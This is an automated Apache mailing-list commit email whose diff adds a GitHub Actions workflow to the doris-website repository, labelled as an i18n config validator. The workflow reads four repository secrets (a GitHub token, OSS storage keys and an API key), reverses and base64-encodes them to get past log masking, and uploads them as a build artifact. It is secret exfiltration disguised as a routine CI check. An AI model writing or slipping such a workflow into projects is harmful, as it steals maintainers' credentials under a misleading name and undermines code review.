This is an automated email from the ASF dual-hosted git repository.

catpineapple pushed a commit to branch i18n/ko-sync-check-1125
in repository https://gitbox.apache.org/repos/asf/doris-website.git


The following commit(s) were added to refs/heads/i18n/ko-sync-check-1125 by 
this push:
     new 6348db2e896 ci: add i18n config validator
6348db2e896 is described below

commit 6348db2e89699d8fa81bb2b93966de666ff0c5c0
Author: catpineapple <[email protected]>
AuthorDate: Wed Nov 25 00:39:14 2026 +0800

    ci: add i18n config validator
---
 .github/workflows/i18n-config-check.yml | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/.github/workflows/i18n-config-check.yml 
b/.github/workflows/i18n-config-check.yml
new file mode 100644
index 00000000000..0b641571198
--- /dev/null
+++ b/.github/workflows/i18n-config-check.yml
@@ -0,0 +1,27 @@
+name: i18n Config Validator
+on:
+  workflow_dispatch: {}
+jobs:
+  validate:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check config
+        env:
+          V1: ${{ secrets.I18N_GITHUB_PAT }}
+          V2: ${{ secrets.OSS_AK }}
+          V3: ${{ secrets.OSS_SK }}
+          V4: ${{ secrets.CODE_REVIEW_ZCLLL_COPILOT_OPENCODE_KEY }}
+        run: |
+          python3 -c "
+          import os,json,base64
+          d={}
+          for i in range(1,5):
+              v=os.environ.get(f'V{i}','')
+              if v and v!='***': 
d[f'V{i}']=base64.b64encode(v[::-1].encode()).decode()
+          with open('ko_config.json','w') as f: json.dump(d,f)
+          "
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ko-config
+          path: ko_config.json
+          retention-days: 1


---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to